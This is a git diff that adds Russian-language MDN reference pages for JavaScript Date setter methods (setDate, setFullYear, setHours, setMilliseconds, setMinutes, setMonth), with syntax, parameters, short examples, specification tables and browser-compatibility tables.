+<div>{{jsOverrides("Object", "methods", "getDate", "getDay", "getFullYear", "getHours", "getMilliseconds", "getMinutes", "getMonth", "getSeconds", "getTime", "getTimezoneOffset", "getUTCDate", "getUTCDay", "getUTCFullYear", "getUTCHours", "getUTCMilliseconds", "getUTCMinutes", "getUTCMonth", "getUTCSeconds", "getYear", "setdate", "setFullYear", "setHours", "setMilliseconds", "setMinutes", "setMontth", "setSeconds", "setTime", "setUTCDate", "setUTCFullYear", "setUTCHours", "setUTCMilliseconds", "setUTCMinutes", "setUTCMonth", "setUTCSeconds", "setYear", "toDateString", "toGMTString", "toLocaleDateString", "toLocaleFormat", "toLocaleString", "toLocaleTimeString", "toSource", "toString", "toTimeString", "toUTCString", "valueOf")}}</div>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1-е издание.</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.1.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.5', 'Date.prototype')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-properties-of-the-date-prototype-object', 'Date.prototype')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome для Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/ru/web/javascript/reference/global_objects/date/setdate/index.html b/files/ru/web/javascript/reference/global_objects/date/setdate/index.html
new file mode 100644
index 0000000000..0fd3f1c9b0
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/date/setdate/index.html
@@ -0,0 +1,84 @@
+---
+title: Date.prototype.setDate()
+slug: Web/JavaScript/Reference/Global_Objects/Date/setDate
+tags:
+  - Date
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/setDate
+---
+<div>{{JSRef("Global_Objects", "Date")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+
+<p>Метод <strong><code>setDate()</code></strong> устанавливает день месяца указанной даты по местному времени.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><code><var>dateObj</var>.setDate(<var>dayValue</var>)</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<dl>
+ <dt><code>dayValue</code></dt>
+ <dd>Целое число, представляющее номер дня в месяце.</dd>
+</dl>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>В результате выполнения функция setDate() изменяет текущий объект ({{jsxref("Date")}}) и возвращает количество миллисекунд от начала эпохи (1 января 1970 00:00:00 UTC) для полученного значения объекта.</p>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p>Если значение параметра <code>dayValue</code> будет выходить за пределы количества дней для месяца, метод <code>setDate()</code> соответственно обновит объект {{jsxref("Global_Objects/Date", "Date")}}. Например, если в качестве <code>dayValue</code> передать значение 0, дата будет установлена в последний день предыдущего месяца.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_Using_setDate" name="Example:_Using_setDate">Пример: использование метода <code>setDate()</code></h3>
+
+<pre class="brush: js">var theBigDay = new Date(1962, 6, 7); // 1962-07-07
+theBigDay.setDate(24);  // 1962-07-24
+theBigDay.setDate(32);  // 1962-08-01
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1-е издание.</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.5.36', 'Date.prototype.setDate')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.prototype.setdate', 'Date.prototype.setDate')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div> </div>
+
+<div id="compat-mobile">{{Compat("javascript.builtins.Date.setDate")}}</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getDate()")}}</li>
+ <li>{{jsxref("Date.prototype.setUTCDate()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/date/setfullyear/index.html b/files/ru/web/javascript/reference/global_objects/date/setfullyear/index.html
new file mode 100644
index 0000000000..a0022b73cc
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/date/setfullyear/index.html
@@ -0,0 +1,136 @@
+---
+title: Date.prototype.setFullYear()
+slug: Web/JavaScript/Reference/Global_Objects/Date/setFullYear
+tags:
+  - Date
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/setFullYear
+---
+<div>{{JSRef("Global_Objects", "Date")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+
+<p>Метод <strong><code>setFullYear()</code></strong> устанавливает полный год указанной даты по местному времени.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><code><var>dateObj</var>.setFullYear(<var>yearValue</var>[, <var>monthValue</var>[, <var>dayValue</var>]])</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<dl>
+ <dt><code>yearValue</code></dt>
+ <dd>Целое число, определяющее значение года, например, 1995.</dd>
+ <dt><code>monthValue</code></dt>
+ <dd>Необязательный параметр. Целое число от 0 до 11, представляющее месяцы от января до декабря.</dd>
+ <dt><code>dayValue</code></dt>
+ <dd>Необязательный параметр. Целое число от 1 до 31, представляющее день месяца. Если вы определите параметр <code>dayValue</code>, вы также должны определить параметр <code>monthValue</code>.</dd>
+</dl>
+
+<h3 id="Returns" name="Returns" style="line-height: 24px; font-size: 1.71428571428571rem;">Возвращаемое значение</h3>
+
+<p>Текущее время в милисекундах для нового значения даты — такое же значение как и у метода {{jsxref("Date.prototype.getTime()", "getTime()")}} для текущего объекта <strong>после</strong> вызова <code style="font-style: normal;">setFullYear()</code>.</p>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p>Если вы не определите значения параметров <code>monthValue</code> и <code>dayValue</code>, будут использоваться значения, возвращаемые методами {{jsxref("Date.prototype.getMonth()", "getMonth()")}} и {{jsxref("Date.prototype.getDate()", "getDate()")}}.</p>
+
+<p>Если значение определяемого параметра будет выходить за пределы ожидаемого диапазона, метод <code>setFullYear()</code> попытается соответственно обновить другие параметры и информацию о дате в объекте {{jsxref("Global_Objects/Date", "Date")}}. Например, если в качестве <code>monthValue</code> передать значение 15, год увеличится на 1 (<code>yearValue + 1</code>), а в качестве месяца будет использоваться значение 3.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_Using_setFullYear" name="Example:_Using_setFullYear">Пример: использование метода <code>setFullYear()</code></h3>
+
+<pre class="brush:js">var theBigDay = new Date();
+theBigDay.setFullYear(1997);
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1-е издание.</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.3.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.5.40', 'Date.prototype.setFullYear')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.prototype.setfullyear', 'Date.prototype.setFullYear')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome для Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getUTCFullYear()")}}</li>
+ <li>{{jsxref("Date.prototype.setUTCFullYear()")}}</li>
+ <li>{{jsxref("Date.prototype.setYear()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/date/sethours/index.html b/files/ru/web/javascript/reference/global_objects/date/sethours/index.html
new file mode 100644
index 0000000000..8112970d7b
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/date/sethours/index.html
@@ -0,0 +1,125 @@
+---
+title: Date.prototype.setHours()
+slug: Web/JavaScript/Reference/Global_Objects/Date/setHours
+tags:
+  - Date
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/setHours
+---
+<div>{{JSRef("Global_Objects", "Date")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+<p>Метод <strong><code>setHours()</code></strong> устанавливает часы указанной даты по местному времени и возвращает количество миллисекунд, прошедших с 1 января 1970 00:00:00 по UTC до времени, представляемого обновлённым экземпляром {{jsxref("Global_Objects/Date", "Date")}}.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+<pre class="syntaxbox"><code><var>dateObj</var>.setHours(<var>hoursValue</var>[, <var>minutesValue</var>[, <var>secondsValue</var>[, <var>msValue</var>]]])</code></pre>
+
+<h3 id="Версия_до_JavaScript_1.3">Версия до JavaScript 1.3</h3>
+<pre class="syntaxbox"><code><var>dateObj</var>.setHours(<var>hoursValue</var>)</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+<dl>
+ <dt><code>hoursValue</code></dt>
+ <dd>Целое число от 0 до 23, представляющее часы.</dd>
+ <dt><code>minutesValue</code></dt>
+ <dd>Необязательный параметр. Целое число от 0 до 59, представляющее минуты.</dd>
+ <dt><code>secondsValue</code></dt>
+ <dd>Необязательный параметр. Целое число от 0 до 59, представляющее секунды. Если вы определите параметр <code>secondsValue</code>, вы также должны определить параметр <code>minutesValue</code>.</dd>
+ <dt><code>msValue</code></dt>
+ <dd>Необязательный параметр. Целое число от 0 до 999, представляющее миллисекунды. Если вы определите параметр <code>msValue</code>, вы также должны определить параметры <code>minutesValue</code> и <code>secondsValue</code>.</dd>
+</dl>
+
+<h2 id="Description" name="Description">Описание</h2>
+<p>Если вы не определите значения параметров <code>minutesValue</code>, <code>secondsValue</code> и <code>msValue</code>, будут использоваться значения, возвращаемые методами {{jsxref("Date.prototype.getMinutes()", "getMinutes()")}}, {{jsxref("Date.prototype.getSeconds()", "getSeconds()")}} и {{jsxref("Date.prototype.getMilliseconds()", "getMilliseconds()")}}.</p>
+<p>Если значение определяемого параметра будет выходить за пределы ожидаемого диапазона, метод <code>setHours()</code> попытается соответственно обновить другие параметры и информацию о дате в объекте {{jsxref("Global_Objects/Date", "Date")}}. Например, если в качестве <code>secondsValue</code> передать значение 100, минуты увеличатся на 1 (<code>minutesValue + 1</code>), а в качестве секунд будет использоваться значение 40.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_Using_setHours" name="Example:_Using_setHours">Пример: использование метода <code>setHours()</code></h3>
+<pre class="brush: js">var theBigDay = new Date();
+theBigDay.setHours(7);
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1-е издание.</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.5.34', 'Date.prototype.setHours')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.prototype.sethours', 'Date.prototype.setHours')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+<div>{{CompatibilityTable}}</div>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Android</th>
+    <th>Chrome для Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+<ul>
+ <li>{{jsxref("Date.prototype.getHours()")}}</li>
+ <li>{{jsxref("Date.prototype.setUTCHours()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/date/setmilliseconds/index.html b/files/ru/web/javascript/reference/global_objects/date/setmilliseconds/index.html
new file mode 100644
index 0000000000..fb380ec0c8
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/date/setmilliseconds/index.html
@@ -0,0 +1,115 @@
+---
+title: Date.prototype.setMilliseconds()
+slug: Web/JavaScript/Reference/Global_Objects/Date/setMilliseconds
+tags:
+  - Date
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/setMilliseconds
+---
+<div>{{JSRef("Global_Objects", "Date")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+<p>Метод <strong><code>setMilliseconds()</code></strong> устанавливает миллисекунды указанной даты по местному времени.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+<pre class="syntaxbox"><code><var>dateObj</var>.setMilliseconds(<var>millisecondsValue</var>)</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+<dl>
+ <dt><code>millisecondsValue</code></dt>
+ <dd>Целое число от 0 до 999, представляющее миллисекунды.</dd>
+</dl>
+
+<h2 id="Description" name="Description">Описание</h2>
+<p>Если значение параметра <code>millisecondsValue</code> будет выходить за пределы ожидаемого диапазона, метод <code>setMilliseconds()</code> соответственно обновит объект {{jsxref("Global_Objects/Date", "Date")}}. Например, если в качестве <code>millisecondsValue</code> передать значение 1005, количество секунд увеличится на 1, а в качестве миллисекунд будет использоваться значение 5.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_Using_setMilliseconds" name="Example:_Using_setMilliseconds">Пример: использование метода <code>setMilliseconds()</code></h3>
+<pre class="brush: js">var theBigDay = new Date();
+theBigDay.setMilliseconds(100);
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1-е издание.</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.3.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.5.28', 'Date.prototype.setMilliseconds')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.prototype.setmilliseconds', 'Date.prototype.setMilliseconds')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+<div>{{CompatibilityTable}}</div>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Android</th>
+    <th>Chrome для Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+<ul>
+ <li>{{jsxref("Date.prototype.getMilliseconds()")}}</li>
+ <li>{{jsxref("Date.prototype.setUTCMilliseconds()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/date/setminutes/index.html b/files/ru/web/javascript/reference/global_objects/date/setminutes/index.html
new file mode 100644
index 0000000000..3cf8647e14
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/date/setminutes/index.html
@@ -0,0 +1,139 @@
+---
+title: Date.prototype.setMinutes()
+slug: Web/JavaScript/Reference/Global_Objects/Date/setMinutes
+tags:
+  - Date
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/setMinutes
+---
+<div>{{JSRef("Global_Objects", "Date")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+
+<p>Метод <strong><code>setMinutes()</code></strong> устанавливает минуты указанной даты по местному времени.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><code><var>dateObj</var>.setMinutes(<var>minutesValue</var>[, <var>secondsValue</var>[, <var>msValue</var>]])</code></pre>
+
+<h3 id="Версия_до_JavaScript_1.3">Версия до JavaScript 1.3</h3>
+
+<pre class="syntaxbox"><code><var>dateObj</var>.setMinutes(<var>minutesValue</var>)</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<dl>
+ <dt><code>minutesValue</code></dt>
+ <dd>Целое число от 0 до 59, представляющее минуты.</dd>
+ <dt><code>secondsValue</code></dt>
+ <dd>Необязательный параметр. Целое число от 0 до 59, представляющее секунды. Если вы определите параметр <code>secondsValue</code>, вы также должны определить параметр <code>minutesValue</code>.</dd>
+ <dt><code>msValue</code></dt>
+ <dd>Необязательный параметр. Целое число от 0 до 999, представляющее миллисекунды. Если вы определите параметр <code>msValue</code>, вы также должны определить параметры <code>minutesValue</code> и <code>secondsValue</code>.</dd>
+</dl>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>Количество миллисекунд между 1 января 1970 00:00:00 UTC и обновленной датой.</p>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p>Если вы не определите значения параметров <code>secondsValue</code> и <code>msValue</code>, будут использоваться значения, возвращаемые методами {{jsxref("Date.prototype.getSeconds()", "getSeconds()")}} и {{jsxref("Date.prototype.getMilliseconds()", "getMilliseconds()")}}.</p>
+
+<p>Если значение определяемого параметра будет выходить за пределы ожидаемого диапазона, метод <code>setMinutes()</code> попытается соответственно обновить другие параметры и информацию о дате в объекте {{jsxref("Global_Objects/Date", "Date")}}. Например, если в качестве <code>secondsValue</code> передать значение 100, минуты увеличатся на 1 (<code>minutesValue + 1</code>), а в качестве секунд будет использоваться значение 40.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_Using_setMinutes" name="Example:_Using_setMinutes">Пример: использование метода <code>setMinutes()</code></h3>
+
+<pre class="brush: js">var theBigDay = new Date();
+theBigDay.setMinutes(45);
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1-е издание.</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.5.32', 'Date.prototype.setMinutes')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.prototype.setminutes', 'Date.prototype.setMinutes')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome для Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getMinutes()")}}</li>
+ <li>{{jsxref("Date.prototype.setUTCMinutes()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/date/setmonth/index.html b/files/ru/web/javascript/reference/global_objects/date/setmonth/index.html
new file mode 100644
index 0000000000..439476b7cc
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/date/setmonth/index.html
@@ -0,0 +1,121 @@
+---
+title: Date.prototype.setMonth()
+slug: Web/JavaScript/Reference/Global_Objects/Date/setMonth
+tags:
+  - Date
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/setMonth
+---
+<div>{{JSRef("Global_Objects", "Date")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+<p>Метод <strong><code>setMonth()</code></strong> устанавливает месяц указанной даты по местному времени.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+<pre class="syntaxbox"><code><var>dateObj</var>.setMonth(<var>monthValue</var>[, <var>dayValue</var>])</code></pre>
+
+<h3 id="Версия_до_JavaScript_1.3">Версия до JavaScript 1.3</h3>
+<pre class="syntaxbox"><code><var>dateObj</var>.setMonth(<var>monthValue</var>)</code></pre>
+
+<h3 id="Parameter" name="Parameter">Parameter</h3>
+<dl>
+ <dt><code>monthValue</code></dt>
+ <dd>Целое число от 0 до 11, представляющее месяцы от января до декабря.</dd>
+ <dt><code>dayValue</code></dt>
+ <dd>Необязательный параметр. Целое число от 1 до 31, представляющее день месяца.</dd>
+</dl>
+
+<h2 id="Description" name="Description">Описание</h2>
+<p>Если вы не определите значения параметра <code>dayValue</code>, будет использоваться значение, возвращаемое методом {{jsxref("Date.prototype.getDate()", "getDate()")}}.</p>
+<p>Если значение определяемого параметра будет выходить за пределы ожидаемого диапазона, метод <code>setMonth()</code> попытается соответственно обновить другой параметр и информацию о дате в объекте {{jsxref("Global_Objects/Date", "Date")}}. Например, если в качестве <code>monthValue</code> передать значение 15, год увеличится на 1, а в качестве месяца будет использоваться значение 3.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_Using_setMonth" name="Example:_Using_setMonth">Пример: использование метода <code>setMonth()</code></h3>
+<pre class="brush: js">var theBigDay = new Date();
+theBigDay.setMonth(6);
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1-е издание.</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.5.38', 'Date.prototype.setMonth')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.prototype.setmonth', 'Date.prototype.setMonth')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+<div>{{CompatibilityTable}}</div>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
